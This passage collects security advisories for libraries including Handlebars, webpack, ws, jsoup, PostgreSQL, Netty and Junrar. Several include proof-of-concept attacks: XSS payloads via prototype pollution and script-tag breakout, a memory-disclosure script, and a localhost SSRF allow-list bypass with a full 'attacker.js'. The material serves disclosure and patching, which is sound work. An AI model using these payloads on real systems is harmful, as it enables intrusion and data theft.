A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code.
## Summary The prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary. `4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option. ## Description In `lib/handlebars/internal/proto-access.js`: ```javascript const methodWhiteList = Object.create(null); methodWhiteList['constructor'] = false; methodWhiteList['__defineGetter__'] = false; methodWhiteList['__defineSetter__'] = false; methodWhiteList['__lookupGetter__'] = false; // __lookupSetter__ intentionally blocked in CVE-2021-23383, // but omitted here — creating an asymmetric blocklist ``` All four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out. When `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied. ## Workarounds - Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected. - If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.
Express.js minimalist web framework for node. In express < 4.20.0, passing untrusted user input - even after sanitizing it - to response.redirect() may execute untrusted code. This issue is patched in express 4.20.0.
Send is a library for streaming files from the file system as a http response. Send passes untrusted user input to SendStream.redirect() which executes untrusted code. This issue is patched in send 0.19.0.
serve-static serves static files. serve-static passes untrusted user input - even after sanitizing it - to redirect() may execute untrusted code. This issue is patched in serve-static 1.16.0.
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.precompile() uses quotedString() in lib/handlebars/compiler/code-gen.js to emit static template text into generated JavaScript without escaping sequences that terminate an enclosing HTML script element. When an application precompiles attacker-controlled template text and embeds the generated source directly in an inline script element, a closing script delimiter can end the element and cause following attacker-controlled markup to be parsed and executed. Ordinary server-side rendering and precompiled templates served as external JavaScript files are not affected. This issue is fixed in version 4.7.10.
webpack-dev-server versions 5.2.5 and earlier expose two internal developer endpoints, /webpack-dev-server/open-editor and /webpack-dev-server/invalidate, that perform state-changing actions on any GET request without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger these endpoints cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root, and repeated requests can spawn editor processes and force recompilations that degrade the developer's machine. Patches: upgrade to webpack-dev-server 5.2.6. Workarounds: none.
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS. Version 4.7.9 fixes the issue. Some workarounds are available. Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries, and/or use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.
jsoup is a Java library for working with real-world HTML. From 1.14.3 until 1.23.1, jsoup's HTML parser could incorrectly handle a malformed tag name ending in a control character, causing the tag to acquire the parsing behavior of a different element. When a custom Safelist permits certain raw-text elements, this misparsing can cause content that should remain inert text to be emitted as active markup after serialization, potentially resulting in cross-site scripting. jsoup's built-in Safelists are not affected. This issue is fixed in version 1.23.1.
## Summary `resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS. ## Description The root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`: ```javascript // Vulnerable: plain bracket access traverses Object.prototype partial = options.partials[options.name]; ``` `hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution. **Prerequisites for exploitation:** 1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or any querystring/JSON merge sink). 2. The attacker must know or guess the name of a partial reference used in a template. ## Proof of Concept ```javascript const Handlebars = require('handlebars'); // Step 1: Prototype pollution (via qs, minimist, or another vector) Object.prototype.widget = '<img src=x onerror="alert(document.domain)">'; // Step 2: Normal template that references a partial const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>'); // Step 3: Render — XSS payload injected unescaped const output = template({}); // Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div> ``` > The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value. ## Workarounds - Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.
### Impact The internal `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints perform state-changing actions on any `GET` request, without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger them cross-origin with no interaction beyond the visit. An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root (e.g. `~/.ssh/config`). The file's contents are not returned to the attacker. Repeated requests can also spawn editor processes and force recompilations, degrading the developer's machine. ### Patches Fixed in `webpack-dev-server` 5.2.6 by rejecting cross-site requests to the `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints (see [PR #5698](https://github.com/webpack/webpack-dev-server/pull/5698)). ### Workarounds None
When a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS. jsoup’s built-in Safelists are unaffected. ## Patches Upgrade to jsoup 1.23.1. ## Workarounds Until upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML. ## Additional security considerations This fix addresses malformed tag-name handling only. Permitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS.
## Summary `Handlebars.precompile()` generates JavaScript source that is commonly embedded in browser `<script>` elements. Before the fix, static template text containing `</script>` was emitted unchanged. HTML parsers recognize `</script>` even inside a JavaScript string literal, closing the surrounding script element and allowing following attacker-controlled markup to be parsed and executed. This affects applications that precompile attacker-controlled templates and embed the generated source directly in an HTML `<script>` element. It does not affect ordinary server-side rendering or precompiled templates delivered as external JavaScript files. ## Details Static text is serialized by `quotedString()` in `lib/handlebars/compiler/code-gen.js`. The generated JavaScript is valid, but JavaScript quoting alone does not make it safe to embed in HTML. In HTML script data, the sequence `</script>` terminates the element regardless of JavaScript string context. On affected releases, this template: ```handlebars safe</script><script>alert("XSS")</script><script> ``` could produce generated source containing: ```js return 'safe</script><script>alert("XSS")</script><script>'; ``` When included inline in an HTML document, the first `</script>` closes the script containing the precompiled template. The next `<script>` element is then parsed as HTML and executes. ## Proof of Concept ```js const Handlebars = require('handlebars'); const template = 'safe</script><script>alert("XSS")</script><script>'; const output = Handlebars.precompile(template); console.log(output.includes('</script>')); ``` Affected versions print `true`. Embedding `output` directly in an inline `<script>` element allows the injected script tag to be parsed by the browser. ## Workarounds - Do not inline precompiled output from untrusted templates into HTML documents. - Serve generated precompiled templates as external JavaScript files where practical. ## Credits Reported by Curly-Haired-Baboon Aka Laplas
In Netflix OSS Hollow, since the Files.exists(parent) is run before creating the directories, an attacker can pre-create these directories with wide permissions. Additionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.
### Impact The `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument. ### Proof of concept ```js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`, { skipUTF8Validation: true }); ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } ); wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); }); ``` ### Patches The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086). ### Credits Credit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR). ### Remarks Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice. ### Resources - https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736
Missing authorization in PostgreSQL built-in views pg_stats_ext and pg_stats_ext_exprs allows an unprivileged database user to read most common values and other statistics from CREATE STATISTICS commands of other users. The most common values may reveal column values the eavesdropper could not otherwise read or results of functions they cannot execute. Installing an unaffected version only fixes fresh PostgreSQL installations, namely those that are created with the initdb utility after installing that version. Current PostgreSQL installations will remain vulnerable until they follow the instructions in the release notes. Within major versions 14-16, minor versions before PostgreSQL 16.3, 15.7, and 14.12 are affected. Versions before PostgreSQL 14 are unaffected.
Uncontrolled Resource Consumption vulnerability in Apache Commons IO. The org.apache.commons.io.input.XmlStreamReader class may excessively consume CPU resources when processing maliciously crafted input. This issue affects Apache Commons IO: from 2.0 before 2.14.0. Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.
nanoid (aka Nano ID) before 5.0.9 mishandles non-integer values. 3.3.8 is also a fixed version.
Buffer over-read in PostgreSQL pg_trgm index picksplit function reads past end of a heap buffer. This might allow a table maintainer to infer limited memory values, via the lossy signal of index split choices. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Buffer over-read in PostgreSQL ascii() SQL function allows a user to disclose up to 3 bytes after the end of a specific allocation, via a crafted text value. This is the same class of defect that CVE-2026-2006 fixed, though this instance has less impact. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Improper validation of type "oidvector" in PostgreSQL allows a database user to disclose a few bytes of server memory. We have not ruled out viability of attacks that arrange for presence of confidential information in disclosed bytes, but they seem unlikely. Versions before PostgreSQL 18.2, 17.8, 16.12, 15.16, and 14.21 are affected.
Missing authorization in PostgreSQL DDL commands allows an object creator to achieve denial of service against ALTER and DROP of the type, via creating a dependency on the type. Many DDL operations did check the privilege, but assigning a range subtype and referencing the type from an SQL expression did not. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Externally-controlled format string in PostgreSQL timeofday() function allows an attacker to retrieve portions of server memory, via crafted timezone zones. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). Patches: Fixed in webpack-dev-server@5.2.5. Workarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.
When nanoid is called with a fractional value, there were a number of undesirable effects: 1. in browser and non-secure, the code infinite loops on while (size--) 2. in node, the value of poolOffset becomes fractional, causing calls to nanoid to return zeroes until the pool is next filled 3. if the first call in node is a fractional argument, the initial buffer allocation fails with an error Version 3.3.8 and 5.0.9 are fixed.
Incorrect privilege assignment in PostgreSQL allows a less-privileged application user to view or change different rows from those intended. An attack requires the application to use SET ROLE, SET SESSION AUTHORIZATION, or an equivalent feature. The problem arises when an application query uses parameters from the attacker or conveys query results to the attacker. If that query reacts to current_setting('role') or the current user ID, it may modify or return data as though the session had not used SET ROLE or SET SESSION AUTHORIZATION. The attacker does not control which incorrect user ID applies. Query text from less-privileged sources is not a concern here, because SET ROLE and SET SESSION AUTHORIZATION are not sandboxes for unvetted queries. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.
Incomplete tracking in PostgreSQL of changes to role membership, role attributes, and database ownership allows a query to continue using cached row-level security policies after those changes require a different policy, via plan reuse. Stale policies continue until some other event invalidates the cache or connection termination ends the session. This permits a user to complete reads and modifications that were recently permitted but now forbidden. An attacker must tailor an attack to a particular application's pattern of privilege removal and role-specific row security policies. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
A vulnerability has been discovered in vue-template-compiler, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code. Vue 2 has reached End-of-Life. This vulnerability has been patched in Vue 3.
The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg->cmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default). Versions 4.1.135.Final and 4.2.15.Final patch the issue.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. In versions from 2.0.0 prior to 2.16.0 and from 3.0.0.Beta1 prior to 3.0.11, ThreadSafeCookieStore stored a cookie under the value of its Domain attribute without verifying that the responding host is allowed to set a cookie for that domain, leading to a cookie tossing / cookie injection issue. A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. Applications that use a single AsyncHttpClient instance - and thus the default, shared CookieStore - to reach both an attacker-influenced host and a trusted host are impacted. This issue has been fixed in versions 2.16.0 and 3.0.11.
In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.
In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.
### Impact A **cookie tossing / cookie injection** issue (CWE-1275). `ThreadSafeCookieStore` stored a cookie under the value of its `Domain` attribute without verifying that the responding host is allowed to set a cookie for that domain (RFC 6265 §5.3 step 6). A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. ### Who is Impacted Applications that use a single `AsyncHttpClient` instance - and thus the default, shared `CookieStore` - to reach **both** an attacker-influenced host and a trusted host. Typical exposure: crawlers, link-preview / webhook fetchers, SSRF-style "fetch this URL" features, multi-backend aggregators, or following redirects to an attacker-controlled host. The attacker can *write* a cookie the client presents to the victim host (session fixation, overwriting a session id / CSRF-token cookie); they cannot *read* the victim host's cookies. Applications that talk only to a fixed trusted backend, or that disable/scope the cookie store, are not exposed. ### Patches Fixed in 3.0.11 and 2.16.0 ### Workarounds - Disable the cookie store (setCookieStore(null)) when cookies are not needed; or - Use a separate AsyncHttpClient (separate cookie store) per trust domain so an attacker-influenced host and a trusted host never share a jar - Supply a custom CookieStore whose add(Uri, Cookie) rejects cookies whose Domain is not domain-matched by the request host.
netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg->cmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).
Untrusted search path in PostgreSQL amcheck allows a grantee of amcheck function EXECUTE privilege to execute arbitrary functions as the owners of expression indexes that depend on the search path, via setting a hostile search path before calling the amcheck function. Within major versions 18, 16, 15, and 14, minor versions before PostgreSQL 18.6, 16.15, 15.19, and 14.24 are affected. PostgreSQL 17 is unaffected.
Integer underflow in PostgreSQL ECPG allows a database server administrator to achieve temporary denial of service against the ECPG client via sending a bytea value lacking the mandatory prefix. The client overwrites a huge memory region with bytes outside attacker knowledge or control. This typically yields a simple SIGSEGV, but rare cases might achieve client-specific integrity impact via the write. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Incorrect ownership assignment in PostgreSQL ALTER TABLE ALTER TYPE command reassigns ownership of dependent statistics objects to the current user. This wrongly allows the table owner to run DROP STATISTICS and ALTER STATISTICS via this improper ownership. It wrongly denies those commands to the prior statistics object owner. DROP TABLE remains able to remove statistics objects, so this exploit achieves nothing in many ownership arrangements. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application. For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results. This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.
Improper regular expression in Vue's parseHTML function leads to a potential regular expression denial of service vulnerability.
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, Realm.Builder generates the HTTP Digest client nonce with ThreadLocalRandom rather than a cryptographically secure random source. Digest relies on an unpredictable cnonce to resist chosen-plaintext and credential precomputation attacks, so an observer able to infer generator state can reduce the protection of the authentication exchange. This issue is fixed in versions 3.0.12 and 2.16.1.
Junrar is an open source Java RAR archive library. Prior to version 7.6.1, LocalFolderExtractor in src/main/java/com/github/junrar/LocalFolderExtractor.java can create directories outside the intended extraction root when processing a crafted archive entry. LocalFolderExtractor.createFile() validates only the final canonical file path, while LocalFolderExtractor.makeFile() creates intermediate path segments with unchecked mkdir() calls. An entry can therefore make the final path resolve inside the destination while causing intermediate directory creation outside it, enabling filesystem pollution or file-versus-directory squatting that can make later security-sensitive writes fail. The demonstrated impact is directory creation, not unconditional arbitrary file-content write. This issue is fixed in version 7.6.1.
### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache. ### Details In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`. Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs. **Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache. <img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-ssrf-poc && cd split-ssrf-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const url = require("url"); const allowedPort = 9000; const internalPort = 9100; const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`; const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function start(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // Internal-only service (SSRF target) await start(internalPort, (req, res) => { if (req.url === "/secret.js") { res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); console.log(`[internal] 200 /secret.js served (secret=${secret})`); return; } res.statusCode = 404; res.end("not found"); }); // Allowed host (redirector) await start(allowedPort, (req, res) => { const parsed = url.parse(req.url, true); if (parsed.pathname === "/redirect.js") { const to = parsed.query.to || internalUrlDefault; // Safety guard: only allow redirecting to localhost internal service in this PoC if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) { res.statusCode = 400; res.end("to must be internal-only in this PoC"); console.log(`[allowed] blocked redirect to: ${to}`); return; } res.statusCode = 302; res.setHeader("Location", to); res.end("redirecting"); console.log(`[allowed] 302 /redirect.js -> ${to}`); return; } res.statusCode = 404; res.end("not found"); }); console.log(`\nServer running:`); console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`); console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`); })(); ``` #### 3) Create attacker.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); const webpackPkg = require("webpack/package.json"); const allowedPort = 9000; const internalPort = 9100; const allowedBase = `http://127.0.0.1:${allowedPort}/`; const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`; const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`; async function walk(dir) { const out = []; const items = await fs.readdir(dir, { withFileTypes: true }); for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle); } catch { return false; } } async function findInFiles(files, needle) { const hits = []; for (const f of files) if (await fileContains(f, needle)) hits.push(f); return hits; } const fmtBool = b => (b ? "✅" : "❌"); (async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(entryUrl)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedBase], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const secret = m ? m[0] : null; console.log("\n[ATTACKER RESULT]"); console.log(`- webpack version: ${webpackPkg.version}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`); console.log(`- imported URL (allowed only): ${entryUrl}`); console.log(`- temp dir: ${tmp}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log(`- bundle: ${bundlePath}`); if (!secret) { console.log("\n[SECURITY SUMMARY]"); console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`); return; } const lockHit = await fileContains(lockfile, secret); let cacheFiles = []; try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; } const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false; const allTmpFiles = await walk(tmp); const allHits = await findInFiles(allTmpFiles, secret); console.log(`\n- extracted secret marker from bundle: ${secret}`); console.log("\n[SECURITY SUMMARY]"); console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`); console.log(`- Internal target (SSRF-like): ${internalTarget}`); console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`); console.log(`- ACTUAL: internal content treated as module and bundled`); console.log("\n[EVIDENCE CHECKLIST]"); console.log(`- bundle contains secret: ${fmtBool(true)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log("\n[PERSISTENCE CHECK] files containing secret"); for (const f of allHits.slice(0, 30)) console.log(`- ${f}`); if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`); } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed). ### Impact Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled). Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can: trigger network requests from the build machine to internal-only services (SSRF behavior), cause content from outside the allow-list to be bundled into build outputs, and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
## Summary In `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform. Only relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`. ## Description The vulnerable code in `lib/handlebars/runtime.js` (lines 137–144): ```javascript lookup: function (depths, name) { const len = depths.length; for (let i = 0; i < len; i++) { let result = depths[i] && container.lookupProperty(depths[i], name); if (result != null) { return depths[i][name]; // BUG: should be `return result;` } } }, ``` `container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned. ## Workarounds - Avoid enabling `{ compat: true }` when rendering templates that include untrusted data. - Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).
## Summary `LocalFolderExtractor` validates only the final canonical file path before extraction. However, `makeFile()` creates intermediate directories one path segment at a time without checking whether each created directory remains inside the destination folder. A malicious RAR entry can make the final file path resolve inside the extraction destination, while causing intermediate `mkdir()` calls to create attacker-chosen directories outside the extraction root. This is an extraction root escape via unchecked intermediate directory creation. The default impact is directory creation outside the intended destination, not unconditional arbitrary file content write. ## Affected Code - `src/main/java/com/github/junrar/LocalFolderExtractor.java` - `createFile()` checks only the final canonical path. - `makeFile()` calls `dir.mkdir()` for each intermediate segment without containment checks. Relevant code flow: ```java private File createFile(final FileHeader fh, final File destination) throws IOException { String name = invariantSeparatorsPathString(fh.getFileName()); File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath() + File.separator)) { throw new IllegalStateException(...); 